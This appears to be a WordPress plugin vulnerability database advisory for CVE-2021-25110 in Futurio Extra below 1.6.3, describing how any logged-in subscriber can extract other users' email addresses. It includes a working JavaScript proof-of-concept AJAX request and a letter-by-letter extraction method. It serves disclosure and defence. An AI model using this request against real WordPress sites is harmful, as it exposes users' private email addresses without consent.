Futurio Extra < 1.6.3 – Subscriber+ User Email Address Disclosure | CVE 2021-25110 | Plugin Vulnerabilities

Description

The plugin allows any logged in user, such as subscriber, to extract any other user's email address.

Proof of Concept

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "dilaz_mb_query_select", "q": "@gma", "query_type": "user"}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

If a given user name appeared in the output list, that means, the user has "@gma" in their e-mail. Then you can extract any user's e-mail letter-by-letter.

Affects Plugins

Fixed in 1.6.3

References

CVE

Classification

Type

SENSITIVE DATA DISCLOSURE

OWASP top 10

A3: Sensitive Data Exposure

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

b655fc21-47a1-4786-8911-d78ab823c153

Timeline

Publicly Published

2022-01-14 (about 3 years ago)

Added

2022-01-14 (about 3 years ago)

Last Updated

2022-04-12 (about 3 years ago)

Other

Published

Title

Published

2023-12-18

Title

Clone < 2.4.3 - Unauthenticated Backup Download

Published

2022-01-03

Title

Document Embedder < 1.7.9 - Subscriber+ Arbitrary Private/Draft Post Title Disclosure

Published

2025-05-07

Title

Mail Mint < 1.17.8 - Unauthenticated Sensitive Information Exposure

Published

2025-08-20

Title

Templately < 3.2.8 - Authenticated (Author+) Information Disclosure

Published

2024-03-29

Title

FG PrestaShop to WooCommerce < 4.47.0 - Unauthenticated Sensitive Information Disclosure